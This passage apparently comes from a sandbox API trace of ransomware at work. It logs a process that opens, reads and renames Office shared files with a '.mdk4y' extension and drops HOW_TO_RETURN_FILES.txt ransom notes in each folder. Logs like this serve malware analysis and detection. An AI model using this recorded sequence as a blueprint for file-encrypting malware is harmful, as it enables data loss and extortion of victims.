lpPerformanceCount=0x37dee4 | out: lpPerformanceCount=0x37dee4*=1818734700000) returned 1 [0112.210] MoveFileA (lpExistingFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OfficeSoftwareProtectionPlatform\\OSPPSVC.EXE" (normalized: "c:\\program files\\common files\\microsoft shared\\officesoftwareprotectionplatform\\osppsvc.exe"), lpNewFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OfficeSoftwareProtectionPlatform\\OSPPSVC.EXE.mdk4y" (normalized: "c:\\program files\\common files\\microsoft shared\\officesoftwareprotectionplatform\\osppsvc.exe.mdk4y")) returned 1 [0112.210] FindNextFileW (in: hFindFile=0x6ab310, lpFindFileData=0x6b7598 | out: lpFindFileData=0x6b7598) returned 1 [0112.210] AreFileApisANSI () returned 1 [0112.210] GetACP () returned 0x4e4 [0112.210] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="OSPPWMI.DLL", cchWideChar=11, lpMultiByteStr=0x6aaebc, cbMultiByte=260, lpDefaultChar=0x0, lpUsedDefaultChar=0x37df4c | out: lpMultiByteStr="OSPPWMI.DLL", lpUsedDefaultChar=0x37df4c) returned 11 [0112.210] CreateFileA (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OfficeSoftwareProtectionPlatform\\OSPPWMI.DLL" (normalized: "c:\\program files\\common files\\microsoft shared\\officesoftwareprotectionplatform\\osppwmi.dll"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x20, hTemplateFile=0x0) returned 0x130 [0112.211] QueryPerformanceCounter (in: lpPerformanceCount=0x37dee4 | out: lpPerformanceCount=0x37dee4*=1818744100000) returned 1 [0112.211] ReadFile (in: hFile=0x130, lpBuffer=0x380020, nNumberOfBytesToRead=0x100000, lpNumberOfBytesRead=0x37df4c, lpOverlapped=0x0 | out: lpBuffer=0x380020*, lpNumberOfBytesRead=0x37df4c*=0x23b10, lpOverlapped=0x0) returned 1 [0112.243] QueryPerformanceCounter (in: lpPerformanceCount=0x37dee4 | out: lpPerformanceCount=0x37dee4*=1818747300000) returned 1 [0112.243] QueryPerformanceCounter (in: lpPerformanceCount=0x37dee4 | out: lpPerformanceCount=0x37dee4*=1818747300000) returned 1 [0112.245] MoveFileA (lpExistingFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OfficeSoftwareProtectionPlatform\\OSPPWMI.DLL" (normalized: "c:\\program files\\common files\\microsoft shared\\officesoftwareprotectionplatform\\osppwmi.dll"), lpNewFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OfficeSoftwareProtectionPlatform\\OSPPWMI.DLL.mdk4y" (normalized: "c:\\program files\\common files\\microsoft shared\\officesoftwareprotectionplatform\\osppwmi.dll.mdk4y")) returned 1 [0112.245] FindNextFileW (in: hFindFile=0x6ab310, lpFindFileData=0x6b7598 | out: lpFindFileData=0x6b7598) returned 1 [0112.247] AreFileApisANSI () returned 1 [0112.247] GetACP () returned 0x4e4 [0112.247] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="OSPPWMI.MOF", cchWideChar=11, lpMultiByteStr=0x6aaebc, cbMultiByte=260, lpDefaultChar=0x0, lpUsedDefaultChar=0x37df4c | out: lpMultiByteStr="OSPPWMI.MOF", lpUsedDefaultChar=0x37df4c) returned 11 [0112.247] CreateFileA (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OfficeSoftwareProtectionPlatform\\OSPPWMI.MOF" (normalized: "c:\\program files\\common files\\microsoft shared\\officesoftwareprotectionplatform\\osppwmi.mof"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x20, hTemplateFile=0x0) returned 0x130 [0112.247] QueryPerformanceCounter (in: lpPerformanceCount=0x37dee4 | out: lpPerformanceCount=0x37dee4*=1818747700000) returned 1 [0112.247] ReadFile (in: hFile=0x130, lpBuffer=0x380020, nNumberOfBytesToRead=0x100000, lpNumberOfBytesRead=0x37df4c, lpOverlapped=0x0 | out: lpBuffer=0x380020*, lpNumberOfBytesRead=0x37df4c*=0xba5e, lpOverlapped=0x0) returned 1 [0112.269] QueryPerformanceCounter (in: lpPerformanceCount=0x37dee4 | out: lpPerformanceCount=0x37dee4*=1818749900000) returned 1 [0112.269] QueryPerformanceCounter (in: lpPerformanceCount=0x37dee4 | out: lpPerformanceCount=0x37dee4*=1818749900000) returned 1 [0112.270] MoveFileA (lpExistingFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OfficeSoftwareProtectionPlatform\\OSPPWMI.MOF" (normalized: "c:\\program files\\common files\\microsoft shared\\officesoftwareprotectionplatform\\osppwmi.mof"), lpNewFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OfficeSoftwareProtectionPlatform\\OSPPWMI.MOF.mdk4y" (normalized: "c:\\program files\\common files\\microsoft shared\\officesoftwareprotectionplatform\\osppwmi.mof.mdk4y")) returned 1 [0112.271] FindNextFileW (in: hFindFile=0x6ab310, lpFindFileData=0x6b7598 | out: lpFindFileData=0x6b7598) returned 0 [0112.271] FindClose (in: hFindFile=0x6ab310 | out: hFindFile=0x6ab310) returned 1 [0112.271] AreFileApisANSI () returned 1 [0112.271] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x6aaf10, cbMultiByte=-1, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 104 [0112.271] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OfficeSoftwareProtectionPlatform\\HOW_TO_RETURN_FILES.txt" (normalized: "c:\\program files\\common files\\microsoft shared\\officesoftwareprotectionplatform\\how_to_return_files.txt"), dwDesiredAccess=0x40000000, dwShareMode=0x3, lpSecurityAttributes=0x37dc84, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x12c [0112.272] GetFileType (hFile=0x12c) returned 0x1 [0112.273] FindNextFileW (in: hFindFile=0x6ab2d0, lpFindFileData=0x6b7110 | out: lpFindFileData=0x6b7110) returned 1 [0112.273] AreFileApisANSI () returned 1 [0112.273] GetACP () returned 0x4e4 [0112.273] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="PROOF", cchWideChar=5, lpMultiByteStr=0x6aad1c, cbMultiByte=260, lpDefaultChar=0x0, lpUsedDefaultChar=0x37dfd8 | out: lpMultiByteStr="PROOFeSoftwareProtectionPlatform", lpUsedDefaultChar=0x37dfd8) returned 5 [0112.273] AreFileApisANSI () returned 1 [0112.273] GetACP () returned 0x4e4 [0112.273] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x8, lpMultiByteStr=0x69d210, cbMultiByte=53, lpWideCharStr=0x37dd6c, cchWideChar=260 | out: lpWideCharStr="C:\\Program Files\\Common Files\\Microsoft Shared\\PROOF\\") returned 53 [0112.274] AreFileApisANSI () returned 1 [0112.274] GetACP () returned 0x4e4 [0112.274] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr=".", cchWideChar=1, lpMultiByteStr=0x6aaebc, cbMultiByte=260, lpDefaultChar=0x0, lpUsedDefaultChar=0x37df4c | out: lpMultiByteStr=".on Files\\Microsoft Shared\\OfficeSoftwareProtectionPlatform\\", lpUsedDefaultChar=0x37df4c) returned 1 [0112.274] FindNextFileW (in: hFindFile=0x6ab310, lpFindFileData=0x6b7598 | out: lpFindFileData=0x6b7598) returned 1 [0112.274] AreFileApisANSI () returned 1 [0112.274] GetACP () returned 0x4e4 [0112.274] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="..", cchWideChar=2, lpMultiByteStr=0x6aaebc, cbMultiByte=260, lpDefaultChar=0x0, lpUsedDefaultChar=0x37df4c | out: lpMultiByteStr="..n Files\\Microsoft Shared\\OfficeSoftwareProtectionPlatform\\", lpUsedDefaultChar=0x37df4c) returned 2 [0112.274] FindNextFileW (in: hFindFile=0x6ab310, lpFindFileData=0x6b7598 | out: lpFindFileData=0x6b7598) returned 1 [0112.274] AreFileApisANSI () returned 1 [0112.274] GetACP () returned 0x4e4 [0112.274] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="MSLID.DLL", cchWideChar=9, lpMultiByteStr=0x6aaebc, cbMultiByte=260, lpDefaultChar=0x0, lpUsedDefaultChar=0x37df4c | out: lpMultiByteStr="MSLID.DLL\\Microsoft Shared\\OfficeSoftwareProtectionPlatform\\", lpUsedDefaultChar=0x37df4c) returned 9 [0112.274] CreateFileA (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\PROOF\\MSLID.DLL" (normalized: "c:\\program files\\common files\\microsoft shared\\proof\\mslid.dll"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x20, hTemplateFile=0x0) returned 0x130 [0112.275] QueryPerformanceCounter (in: lpPerformanceCount=0x37dee4 | out: lpPerformanceCount=0x37dee4*=1818750500000) returned 1 [0112.275] ReadFile (in: hFile=0x130, lpBuffer=0x380020, nNumberOfBytesToRead=0x100000, lpNumberOfBytesRead=0x37df4c, lpOverlapped=0x0 | out: lpBuffer=0x380020*, lpNumberOfBytesRead=0x37df4c*=0x90540, lpOverlapped=0x0) returned 1 [0112.340] QueryPerformanceCounter (in: lpPerformanceCount=0x37dee4 | out: lpPerformanceCount=0x37dee4*=1818757000000) returned 1 [0112.340] QueryPerformanceCounter (in: lpPerformanceCount=0x37dee4 | out: lpPerformanceCount=0x37dee4*=1818757000000) returned 1 [0112.345] MoveFileA (lpExistingFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\PROOF\\MSLID.DLL" (normalized: "c:\\program files\\common files\\microsoft shared\\proof\\mslid.dll"), lpNewFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\PROOF\\MSLID.DLL.mdk4y" (normalized: "c:\\program files\\common files\\microsoft shared\\proof\\mslid.dll.mdk4y")) returned 1 [0112.346] FindNextFileW (in: hFindFile=0x6ab310, lpFindFileData=0x6b7598 | out: lpFindFileData=0x6b7598) returned 1 [0112.346] AreFileApisANSI () returned 1 [0112.346] GetACP () returned 0x4e4 [0112.346] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="MSWDS_EN.LEX", cchWideChar=12, lpMultiByteStr=0x6aaebc, cbMultiByte=260, lpDefaultChar=0x0, lpUsedDefaultChar=0x37df4c | out: lpMultiByteStr="MSWDS_EN.LEXcrosoft Shared\\OfficeSoftwareProtectionPlatform\\", lpUsedDefaultChar=0x37df4c) returned 12 [0112.346] CreateFileA (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\PROOF\\MSWDS_EN.LEX" (normalized: "c:\\program files\\common files\\microsoft shared\\proof\\mswds_en.lex"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x20, hTemplateFile=0x0) returned 0x130 [0112.347] QueryPerformanceCounter (in: lpPerformanceCount=0x37dee4 | out: lpPerformanceCount=0x37dee4*=1818757700000) returned 1 [0112.347] ReadFile (in: hFile=0x130, lpBuffer=0x380020, nNumberOfBytesToRead=0x100000, lpNumberOfBytesRead=0x37df4c, lpOverlapped=0x0 | out: lpBuffer=0x380020*, lpNumberOfBytesRead=0x37df4c*=0x6c67b, lpOverlapped=0x0) returned 1 [0112.429] QueryPerformanceCounter (in: lpPerformanceCount=0x37dee4 | out: lpPerformanceCount=0x37dee4*=1818765900000) returned 1 [0112.429] QueryPerformanceCounter (in: lpPerformanceCount=0x37dee4 | out: lpPerformanceCount=0x37dee4*=1818765900000) returned 1 [0112.433] MoveFileA (lpExistingFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\PROOF\\MSWDS_EN.LEX" (normalized: "c:\\program files\\common files\\microsoft shared\\proof\\mswds_en.lex"), lpNewFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\PROOF\\MSWDS_EN.LEX.mdk4y" (normalized: "c:\\program files\\common files\\microsoft shared\\proof\\mswds_en.lex.mdk4y")) returned 1 [0112.434] FindNextFileW (in: hFindFile=0x6ab310, lpFindFileData=0x6b7598 | out: lpFindFileData=0x6b7598) returned 1 [0112.434] AreFileApisANSI () returned 1 [0112.434] GetACP () returned 0x4e4 [0112.434] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="MSWDS_ES.LEX", cchWideChar=12, lpMultiByteStr=0x6aaebc, cbMultiByte=260, lpDefaultChar=0x0, lpUsedDefaultChar=0x37df4c | out: lpMultiByteStr="MSWDS_ES.LEX", lpUsedDefaultChar=0x37df4c) returned 12 [0112.434] CreateFileA (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\PROOF\\MSWDS_ES.LEX" (normalized: "c:\\program files\\common files\\microsoft shared\\proof\\mswds_es.lex"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x20, hTemplateFile=0x0) returned 0x130 [0112.434] QueryPerformanceCounter (in: lpPerformanceCount=0x37dee4 | out: lpPerformanceCount=0x37dee4*=1818766400000) returned 1 [0112.434] ReadFile (in: hFile=0x130, lpBuffer=0x380020, nNumberOfBytesToRead=0x100000, lpNumberOfBytesRead=0x37df4c, lpOverlapped=0x0 | out: lpBuffer=0x380020*, lpNumberOfBytesRead=0x37df4c*=0x60983, lpOverlapped=0x0) returned 1 [0112.560] QueryPerformanceCounter (in: lpPerformanceCount=0x37dee4 | out: lpPerformanceCount=0x37dee4*=1818779000000) returned 1 [0112.560] QueryPerformanceCounter (in: lpPerformanceCount=0x37dee4 | out: lpPerformanceCount=0x37dee4*=1818779000000) returned 1 [0112.565] MoveFileA (lpExistingFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\PROOF\\MSWDS_ES.LEX" (normalized: "c:\\program files\\common files\\microsoft shared\\proof\\mswds_es.lex"), lpNewFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\PROOF\\MSWDS_ES.LEX.mdk4y" (normalized: "c:\\program files\\common files\\microsoft shared\\proof\\mswds_es.lex.mdk4y")) returned 1 [0112.567] FindNextFileW (in: hFindFile=0x6ab310, lpFindFileData=0x6b7598 | out: lpFindFileData=0x6b7598) returned 1 [0112.567] AreFileApisANSI () returned 1 [0112.567] GetACP () returned 0x4e4 [0112.567] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="MSWDS_FR.LEX", cchWideChar=12, lpMultiByteStr=0x6aaebc, cbMultiByte=260, lpDefaultChar=0x0, lpUsedDefaultChar=0x37df4c | out: lpMultiByteStr="MSWDS_FR.LEX", lpUsedDefaultChar=0x37df4c) returned 12 [0112.567] CreateFileA (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\PROOF\\MSWDS_FR.LEX" (normalized: "c:\\program files\\common files\\microsoft shared\\proof\\mswds_fr.lex"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x20, hTemplateFile=0x0) returned 0x130 [0112.568] QueryPerformanceCounter (in: lpPerformanceCount=0x37dee4 | out: lpPerformanceCount=0x37dee4*=1818779800000) returned 1 [0112.568] ReadFile (in: hFile=0x130, lpBuffer=0x380020, nNumberOfBytesToRead=0x100000, lpNumberOfBytesRead=0x37df4c, lpOverlapped=0x0 | out: lpBuffer=0x380020*, lpNumberOfBytesRead=0x37df4c*=0x482ef, lpOverlapped=0x0) returned 1 [0112.621] QueryPerformanceCounter (in: lpPerformanceCount=0x37dee4 | out: lpPerformanceCount=0x37dee4*=1818785300000) returned 1 [0112.623] QueryPerformanceCounter (in: lpPerformanceCount=0x37dee4 | out: lpPerformanceCount=0x37dee4*=1818785300000) returned 1 [0112.626] MoveFileA (lpExistingFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\PROOF\\MSWDS_FR.LEX" (normalized: "c:\\program files\\common files\\microsoft shared\\proof\\mswds_fr.lex"), lpNewFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\PROOF\\MSWDS_FR.LEX.mdk4y" (normalized: "c:\\program files\\common files\\microsoft shared\\proof\\mswds_fr.lex.mdk4y")) returned 1 [0112.626] FindNextFileW (in: hFindFile=0x6ab310, lpFindFileData=0x6b7598 | out: lpFindFileData=0x6b7598) returned 0 [0112.626] FindClose (in: hFindFile=0x6ab310 | out: hFindFile=0x6ab310) returned 1 [0112.626] AreFileApisANSI () returned 1 [0112.626] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x6aaea8, cbMultiByte=-1, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 77 [0112.626] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\PROOF\\HOW_TO_RETURN_FILES.txt" (normalized: "c:\\program files\\common files\\microsoft shared\\proof\\how_to_return_files.txt"), dwDesiredAccess=0x40000000, dwShareMode=0x3, lpSecurityAttributes=0x37dc84, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x12c [0112.627] GetFileType (hFile=0x12c) returned 0x1 [0112.627] FindNextFileW (in: hFindFile=0x6ab2d0, lpFindFileData=0x6b7110 | out: lpFindFileData=0x6b7110) returned 1 [0112.627] AreFileApisANSI () returned 1 [0112.627] GetACP () returned 0x4e4 [0112.628] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="Smart Tag", cchWideChar=9, lpMultiByteStr=0x6aad1c, cbMultiByte=260, lpDefaultChar=0x0, lpUsedDefaultChar=0x37dfd8 | out: lpMultiByteStr="Smart TagtwareProtectionPlatform", lpUsedDefaultChar=0x37dfd8) returned 9 [0112.628] AreFileApisANSI () returned 1 [0112.628] GetACP () returned 0x4e4 [0112.628] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x8, lpMultiByteStr=0x69d210, cbMultiByte=57, lpWideCharStr=0x37dd6c, cchWideChar=260 | out: lpWideCharStr="C:\\Program Files\\Common Files\\Microsoft Shared\\Smart Tag\\j\x04") returned 57 [0112.688] AreFileApisANSI () returned 1 [0112.688] GetACP () returned 0x4e4 [0112.688] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr=".", cchWideChar=1, lpMultiByteStr=0x6aaebc, cbMultiByte=260, lpDefaultChar=0x0, lpUsedDefaultChar=0x37df4c | out: lpMultiByteStr=".on Files\\Microsoft Shared\\PROOF\\HOW_TO_RETURN_FILES.txt", lpUsedDefaultChar=0x37df4c) returned 1 [0112.688] FindNextFileW (in: hFindFile=0x6ab310, lpFindFileData=0x6b7598 | out: lpFindFileData=0x6b7598) returned 1 [0112.689] AreFileApisANSI () returned 1 [0112.689] GetACP () returned 0x4e4 [0112.689] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="..", cchWideChar=2, lpMultiByteStr=0x6aaebc, cbMultiByte=260, lpDefaultChar=0x0, lpUsedDefaultChar=0x37df4c | out: lpMultiByteStr="..n Files\\Microsoft Shared\\PROOF\\HOW_TO_RETURN_FILES.txt", lpUsedDefaultChar=0x37df4c) returned 2 [0112.689] FindNextFileW (in: hFindFile=0x6ab310, lpFindFileData=0x6b7598 | out: lpFindFileData=0x6b7598) returned 1 [0112.689] AreFileApisANSI () returned 1 [0112.689] GetACP () returned 0x4e4 [0112.689] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="1033", cchWideChar=4, lpMultiByteStr=0x6aaebc, cbMultiByte=260, lpDefaultChar=0x0, lpUsedDefaultChar=0x37df4c | out: lpMultiByteStr="1033Files\\Microsoft Shared\\PROOF\\HOW_TO_RETURN_FILES.txt", lpUsedDefaultChar=0x37df4c) returned 4 [0112.689] AreFileApisANSI () returned 1 [0112.689] GetACP () returned 0x4e4 [0112.689] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x8, lpMultiByteStr=0x69d258, cbMultiByte=62, lpWideCharStr=0x37dce0, cchWideChar=260 | out: lpWideCharStr="C:\\Program Files\\Common Files\\Microsoft Shared\\Smart Tag\\1033\\㖙ĺ?") returned 62 [0112.690] AreFileApisANSI () returned 1 [0112.690] GetACP () returned 0x4e4 [0112.690] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr=".", cchWideChar=1, lpMultiByteStr=0x6b7b84, cbMultiByte=260, lpDefaultChar=0x0, lpUsedDefaultChar=0x37dec0 | out: lpMultiByteStr=".", lpUsedDefaultChar=0x37dec0) returned 1 [0112.690] FindNextFileW (in: hFindFile=0x6ab350, lpFindFileData=0x6bd200 | out: lpFindFileData=0x6bd200) returned 1 [0112.690] AreFileApisANSI () returned 1 [0112.690] GetACP () returned 0x4e4 [0112.690] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="..", cchWideChar=2, lpMultiByteStr=0x6b7b84, cbMultiByte=260, lpDefaultChar=0x0, lpUsedDefaultChar=0x37dec0 | out: lpMultiByteStr="..F", lpUsedDefaultChar=0x37dec0) returned 2 [0112.690] FindNextFileW (in: hFindFile=0x6ab350, lpFindFileData=0x6bd200 | out: lpFindFileData=0x6bd200) returned 1 [0112.690] AreFileApisANSI () returned 1 [0112.690] GetACP () returned 0x4e4 [0112.690] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="MCABOUT.HTM", cchWideChar=11, lpMultiByteStr=0x6b7b84, cbMultiByte=260, lpDefaultChar=0x0, lpUsedDefaultChar=0x37dec0 | out: lpMultiByteStr="MCABOUT.HTM", lpUsedDefaultChar=0x37dec0) returned 11 [0112.690] CreateFileA (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\Smart Tag\\1033\\MCABOUT.HTM" (normalized: "c:\\program files\\common files\\microsoft shared\\smart tag\\1033\\mcabout.htm"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x20, hTemplateFile=0x0) returned 0x13c [0112.690] QueryPerformanceCounter (in: lpPerformanceCount=0x37de58 | out: lpPerformanceCount=0x37de58*=1818792000000) returned 1 [0112.690] ReadFile (in: hFile=0x13c, lpBuffer=0x380020, nNumberOfBytesToRead=0x100000, lpNumberOfBytesRead=0x37dec0, lpOverlapped=0x0 | out: lpBuffer=0x380020*, lpNumberOfBytesRead=0x37dec0*=0x2cc7, lpOverlapped=0x0) returned 1 [0112.790] QueryPerformanceCounter (in: lpPerformanceCount=0x37de58 | out: lpPerformanceCount=0x37de58*=1818802000000) returned 1 [0112.790] QueryPerformanceCounter (in: lpPerformanceCount=0x37de58 | out: lpPerformanceCount=0x37de58*=1818802000000) returned 1 [0112.791] MoveFileA (lpExistingFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\Smart Tag\\1033\\MCABOUT.HTM" (normalized: "c:\\program files\\common files\\microsoft shared\\smart tag\\1033\\mcabout.htm"), lpNewFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\Smart Tag\\1033\\MCABOUT.HTM.mdk4y" (normalized: "c:\\program files\\common files\\microsoft shared\\smart tag\\1033\\mcabout.htm.mdk4y")) returned 1 [0112.791] FindNextFileW (in: hFindFile=0x6ab350, lpFindFileData=0x6bd200 | out: lpFindFileData=0x6bd200) returned 1 [0112.791] AreFileApisANSI () returned 1 [0112.791] GetACP () returned 0x4e4 [0112.791] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="STINTL.DLL", cchWideChar=10, lpMultiByteStr=0x6b7b84, cbMultiByte=260, lpDefaultChar=0x0, lpUsedDefaultChar=0x37dec0 | out: lpMultiByteStr="STINTL.DLLM", lpUsedDefaultChar=0x37dec0) returned 10 [0112.792] CreateFileA (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\Smart Tag\\1033\\STINTL.DLL" (normalized: "c:\\program files\\common files\\microsoft shared\\smart tag\\1033\\stintl.dll"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x20, hTemplateFile=0x0) returned 0x13c [0112.792] QueryPerformanceCounter (in: lpPerformanceCount=0x37de58 | out: lpPerformanceCount=0x37de58*=1818802200000) returned 1 [0112.792] ReadFile (in: hFile=0x13c, lpBuffer=0x380020, nNumberOfBytesToRead=0x100000, lpNumberOfBytesRead=0x37dec0, lpOverlapped=0x0 | out: lpBuffer=0x380020*, lpNumberOfBytesRead=0x37dec0*=0x4380, lpOverlapped=0x0) returned 1 [0112.886] QueryPerformanceCounter (in: lpPerformanceCount=0x37de58 | out: lpPerformanceCount=0x37de58*=1818811600000) returned 1 [0112.886] QueryPerformanceCounter (in: lpPerformanceCount=0x37de58 | out: lpPerformanceCount=0x37de58*=1818811600000) returned 1 [0112.887] MoveFileA (lpExistingFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\Smart Tag\\1033\\STINTL.DLL" (normalized: "c:\\program files\\common files\\microsoft shared\\smart tag\\1033\\stintl.dll"), lpNewFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\Smart Tag\\1033\\STINTL.DLL.mdk4y" (normalized: "c:\\program files\\common files\\microsoft shared\\smart tag\\1033\\stintl.dll.mdk4y")) returned 1 [0112.889] FindNextFileW (in: hFindFile=0x6ab350, lpFindFileData=0x6bd200 | out: lpFindFileData=0x6bd200) returned 1 [0112.889] AreFileApisANSI () returned 1 [0112.889] GetACP () returned 0x4e4 [0112.889] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="STINTL.DLL.IDX_DLL", cchWideChar=18, lpMultiByteStr=0x6b7b84, cbMultiByte=260, lpDefaultChar=0x0, lpUsedDefaultChar=0x37dec0 | out: lpMultiByteStr="STINTL.DLL.IDX_DLLm", lpUsedDefaultChar=0x37dec0) returned 18 [0112.889] CreateFileA (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\Smart Tag\\1033\\STINTL.DLL.IDX_DLL" (normalized: "c:\\program files\\common files\\microsoft shared\\smart tag\\1033\\stintl.dll.idx_dll"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x20, hTemplateFile=0x0) returned 0x13c [0112.890] QueryPerformanceCounter (in: lpPerformanceCount=0x37de58 | out: lpPerformanceCount=0x37de58*=1818812000000) returned 1 [0112.890] ReadFile (in: hFile=0x13c, lpBuffer=0x380020, nNumberOfBytesToRead=0x100000, lpNumberOfBytesRead=0x37dec0, lpOverlapped=0x0 | out: lpBuffer=0x380020*, lpNumberOfBytesRead=0x37dec0*=0x3580, lpOverlapped=0x0) returned 1 [0112.899] QueryPerformanceCounter (in: lpPerformanceCount=0x37de58 | out: lpPerformanceCount=0x37de58*=1818812900000) returned 1 [0112.900] QueryPerformanceCounter (in: lpPerformanceCount=0x37de58 | out: lpPerformanceCount=0x37de58*=1818813000000) returned 1 [0112.900] MoveFileA (lpExistingFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\Smart Tag\\1033\\STINTL.DLL.IDX_DLL" (normalized: "c:\\program files\\common files\\microsoft shared\\smart tag\\1033\\stintl.dll.idx_dll"), lpNewFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\Smart Tag\\1033\\STINTL.DLL.IDX_DLL.mdk4y" (normalized: "c:\\program files\\common files\\microsoft shared\\smart tag\\1033\\stintl.dll.idx_dll.mdk4y")) returned 1 [0112.901] FindNextFileW (in: hFindFile=0x6ab350, lpFindFileData=0x6bd200 | out: lpFindFileData=0x6bd200) returned 0 [0112.901] FindClose (in: hFindFile=0x6ab350 | out: hFindFile=0x6ab350) returned 1 [0112.901] AreFileApisANSI () returned 1 [0112.901] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x6aafd0, cbMultiByte=-1, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 86 [0112.901] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\Smart Tag\\1033\\HOW_TO_RETURN_FILES.txt" (normalized: "c:\\program files\\common files\\microsoft shared\\smart tag\\1033\\how_to_return_files.txt"), dwDesiredAccess=0x40000000, dwShareMode=0x3, lpSecurityAttributes=0x37dbf8, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x130 [0112.901] GetFileType (hFile=0x130) returned 0x1 [0112.902] FindNextFileW (in: hFindFile=0x6ab310, lpFindFileData=0x6b7598 | out: lpFindFileData=0x6b7598) returned 1 [0112.902] AreFileApisANSI () returned 1 [0112.902] GetACP () returned 0x4e4 [0112.902] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="FBIBLIO.DLL", cchWideChar=11, lpMultiByteStr=0x6aaebc, cbMultiByte=260, lpDefaultChar=0x0, lpUsedDefaultChar=0x37df4c | out: lpMultiByteStr="FBIBLIO.DLLicrosoft Shared\\PROOF\\HOW_TO_RETURN_FILES.txt", lpUsedDefaultChar=0x37df4c) returned 11 [0112.902] CreateFileA (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\Smart Tag\\FBIBLIO.DLL" (normalized: "c:\\program files\\common files\\microsoft shared\\smart tag\\fbiblio.dll"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, 